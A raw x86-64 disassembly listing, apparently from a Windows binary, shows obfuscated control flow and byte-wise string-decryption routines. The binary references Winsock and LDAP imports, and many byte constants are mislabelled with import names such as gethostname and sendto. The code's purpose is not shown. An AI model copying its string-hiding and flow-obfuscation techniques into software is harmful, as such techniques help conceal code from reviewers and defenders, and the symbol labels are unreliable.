lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b72a6
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b74d2
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b7489
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b744c
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400b7426
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b70e0
lea r8, [r9 + 0x40]
lea r9, [r8 + 1]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400b73f5
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400b73d5
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b73ba
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b739a
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400b737a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b735d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b7337
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b7312
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b72f6
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b70e0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x5a]
jmp 0x1400b70e0
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x33
jmp 0x1400b70d0
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x41
jmp 0x1400b7060
add r10b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4f
jmp 0x1400b6ff0
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x68
add dl, cl
jmp 0x1400b798a
add r10b, 0x5a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x76
inc r9
dec rbx
inc rbx
jmp 0x1400b6fd2
add r10b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400b6fd2
lea edx, [r10 + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400b79d0
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b79f2
add r10b, 0x62
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b79f5
lea edx, [r10 + 0x64]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400b7a28
add r10b, 0x66
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b7a71
add r10b, 0x68
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
add r10b, 0x6d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 5
mov byte [rbp + rbx + 0x790], dl
inc rbx
jmp 0x1400b6fd2
lea edx, [r10 + 0x6f]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 9
add dl, cl
cmp r9, 0x42
jb 0x1400b743d
lea edx, [r10 - 0x66]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x6c]
jmp 0x1400b798a
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x17
cmp r8, 0x80
jae 0x1400b78a8
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400b77f8
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7463
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x25
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x1400b78c5
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400b7725
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x55
jmp 0x1400b749e
sub r10b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
sub r10b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7a71
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7a2a
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b79f5
sub r10b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b79f2
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b79d0
sub r10b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b6fd2
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b6fd2
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b798a
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400b7675
lea ecx, [r10 - 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 7
jmp 0x1400b74e7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b76af
sub r10b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b76d5
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7a2a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b76fe
sub r10b, 0x32
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b79f2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400b74e7
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6a
jmp 0x1400b798a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b7748
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x47
jmp 0x1400b798a
inc rax
cmp r8, rax
jne 0x1400b7775
sub r10b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x39
inc r9
dec rbx
inc rbx
jmp 0x1400b6fd2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b779a
sub r10b, 0x47
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xf
jmp 0x1400b79f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b77be
sub r10b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec dl
jmp 0x1400b79f5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b749e
sub r10b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x29
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b7832
sub r10b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b7858
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7a2a
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b7881
sub r10b, 0x5a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b79f5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b7463
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
jmp 0x1400b79d0
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
add dl, r11b
jmp 0x1400b79d0
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x1a]
jmp 0x1400b7a2a
sub r10b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x11
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xb
jmp 0x1400b7a2a
sub r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x19
jmp 0x1400b79f5
sub r10b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x27
jmp 0x1400b79f2
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5f
jmp 0x1400b798a
movzx r10d, bl
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7b
sub r10b, 0x67
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x2f
add r11b, r10b
mov byte [rbp + rbx + 0x790], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b6fd2
movzx r10d, bl
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5b
sub r10b, 0x69
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x21
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x790], r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b6fd2
lea rcx, [rbx + 0x809f9]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
add dl, 0x31
movzx r10d, bl
add dl, cl
sub r10b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x13
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x790], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400b7a71
lea rcx, [rbx + 0x5bdfb]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
add dl, 0x23
add dl, cl
lea ecx, [rbx - 0x6c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0xc
add r11b, cl
mov byte [rbp + rbx + 0x790], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
lea rax, [rbx + 0x371fd]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
add dl, 0x15
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6fd2
add r10b, 0x7b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x5d
jmp 0x1400b6fd0
add r10b, 0x7d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x6b
jmp 0x1400b6fc0
lea rdx, [rbp + 0x1458ee4]
jmp 0x1400b9495
lea rdx, [rbp + 0x106b4e3]
jmp 0x1400b9495
lea rdx, [rbp + 0x790]
jmp 0x1400b9495
mov byte [rbp + 0x1f8], Ordinal_200
mov byte [rbp + 0x1f9], Ordinal_211
mov byte [rbp + 0x1fa], Ordinal_217
mov byte [rbp + 0x1fb], 0xc1
mov byte [rbp + 0x1fc], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x1fd], gethostname
mov byte [rbp + 0x1fe], 0x43
mov byte [rbp + 0x1ff], 7
mov byte [rbp + 0x200], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x201], 0x59
mov byte [rbp + 0x202], 0x5e
mov byte [rbp + 0x203], Ordinal_79
mov byte [rbp + 0x204], 0x5e
mov byte [rbp + 0x205], 0x5b
mov byte [rbp + 0x206], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x207], 0x5b
mov byte [rbp + 0x208], 0xe8
xor eax, eax
movups xmmword [rbp + 0x209], xmm0
movups xmmword [rbp + 0x219], xmm0
mov word [rbp + 0x229], ax
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor esi, esi
cmp rsi, 0x33
jae 0x1400b84a5
movzx r11d, byte [rbp + rsi + 0x1f8]
mov ebx, r11d
nop dword [rax + rax]
cmp r8, rsi
ja 0x1400b849c
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400b7c2e
lea rcx, [rsi + 0x125fc]
mov rax, rcx
and rax, rbx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rbx
add dl, 0x1c
jmp 0x1400b7c68
je 0x1400b8429
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b83a0
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b836e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b832d
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b82e2
movzx r10d, sil
nop dword [rax]
cmp r9, rsi
ja 0x1400b8493
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400b7c9c
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7cd0
je 0x1400b82cb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b82a9
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b828c
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b825b
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x1400b7f2b
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b7f1d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b7ef4
lea rcx, [r9 + 6]
cmp r8, rcx
je 0x1400b7ece
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b804d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b7eb2
mov r8, rcx
lea r9, [rcx + 0x80]
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400b8473
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400b8457
lea rcx, [r9 + 0x80]
cmp r8, rcx
jb 0x1400b7df4
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400b7dda
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b7dbd
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400b7e85
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400b7e69
lea rcx, [r9 + 1]
cmp r8, rcx
ja 0x1400b7e4c
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b7e2c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b7e10
mov r8, rcx
lea r9, [rcx + 0x20]
jmp 0x1400b7ce0
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b7cd0
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
jmp 0x1400b7c70
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
jmp 0x1400b7c00
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x1400b8385
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b8388
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b83ba
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400b83e6
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
movzx eax, byte [rbp + rsi + 0x1f8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400b7be2
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
jmp 0x1400b8385
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x1400b7be2
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rsi
inc rsi
jmp 0x1400b7be2
lea edx, [r10 + 0x48]
mov ecx, 4
jmp 0x1400b82ef
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b7fca
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400b8245
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x1400b80ad
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
cmp r8, 1
jae 0x1400b8229
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b817c
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rsi + 0x1f8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400b7be2
jne 0x1400b7ff9
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
movzx eax, byte [rbp + rsi + 0x1f8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400b7be2
inc rax
cmp r8, rax
jne 0x1400b801e
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b83ba
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b8044
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400b8382
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8067
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1400b8349
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b8092
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
dec rsi
inc rsi
jmp 0x1400b7be2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b7f50
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
jmp 0x1400b82ef
jne 0x1400b80c9
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1c
jmp 0x1400b82fe
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b80f8
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x1400b7be2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b811d
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
jmp 0x1400b8385
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b8142
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x1400b8388
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b7f82
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5c
movzx eax, byte [rbp + rsi + 0x1f8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400b7be2
inc rax
cmp r8, rax
jne 0x1400b81a4
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b83e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b81ca
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400b8382
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b81f5
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
dec rsi
inc rsi
jmp 0x1400b7be2
cmp r9, 0x20
jb 0x1400b821a
lea ecx, [r10 + 0x68]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400b82fe
mov byte [rbp + rsi + 0x1f8], dl
inc rsi
jmp 0x1400b7be2
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x30
add cl, cl
add dl, cl
jmp 0x1400b8349
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x68]
jmp 0x1400b83ba
add r10b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rsi + 0x1f8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400b7be2
sub r10b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400b8382
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xc
dec rsi
inc rsi
jmp 0x1400b7be2
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x1400b82fe
movzx r10d, sil
lea edx, [r10 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 0x64
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rsi + 0x1f8], cl
inc r9
dec rsi
inc rsi
jmp 0x1400b7be2
movzx r10d, sil
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rsi + 0x1f8], cl
jmp 0x1400b8385
lea edx, [rsi - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400b7be2
lea rcx, [rsi + 0x809e4]
and bl, cl
add bl, bl
movzx edx, r11b
sub dl, bl
sub dl, 0x3c
add dl, cl
movzx r10d, sil
add r10b, 0x54
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4c
add cl, r10b
movzx eax, cl
mov byte [rbp + rsi + 0x1f8], al
inc r9
add rax, r9
sub rsi, rax
lea ecx, [rsi + 0x50]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x30
add r11b, cl
mov byte [rbp + rsi + 0x1f8], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x1f8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400b7be2
lea rcx, [rsi + 0x371f4]
and bl, cl
mov eax, Ordinal_45
sub al, bl
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, byte [rbp + rsi + 0x1f8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400b7be2
sub r10b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
jmp 0x1400b7be0
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b7bd0
lea rsi, [rbp + 0x1458748]
jmp 0x1400b84ac
lea rsi, [rbp + 0x106ad44]
jmp 0x1400b84ac
lea rsi, [rbp + 0x1f8]
mov byte [rbp + 0x850], 0xbf
mov byte [rbp + 0x851], 0xae
mov byte [rbp + 0x852], 0xf4
mov byte [rbp + 0x853], 0x62
mov byte [rbp + 0x854], 0x5b
mov byte [rbp + 0x855], 0x5b
mov byte [rbp + 0x856], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x857], 0x5b
mov byte [rbp + 0x858], recv
mov byte [rbp + 0x859], 0x59
mov byte [rbp + 0x85a], 0x57
mov byte [rbp + 0x85b], 0x5f
mov byte [rbp + 0x85c], 0x5e
mov byte [rbp + 0x85d], 1
mov byte [rbp + 0x85e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x85f], 0x56
mov byte [rbp + 0x860], WSASetLastError
mov byte [rbp + 0x861], 5
mov byte [rbp + 0x862], WSASetLastError
mov byte [rbp + 0x863], 0x43
mov byte [rbp + 0x864], 0x5d
mov byte [rbp + 0x865], Ordinal_79
mov byte [rbp + 0x866], Ordinal_30
mov byte [rbp + 0x867], Ordinal_79
mov byte [rbp + 0x868], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x869], Ordinal_30
mov byte [rbp + 0x86a], 0x58
mov byte [rbp + 0x86b], 0x42
mov byte [rbp + 0x86c], recv
mov byte [rbp + 0x86d], reloc.WS2_32.dll_recvfrom
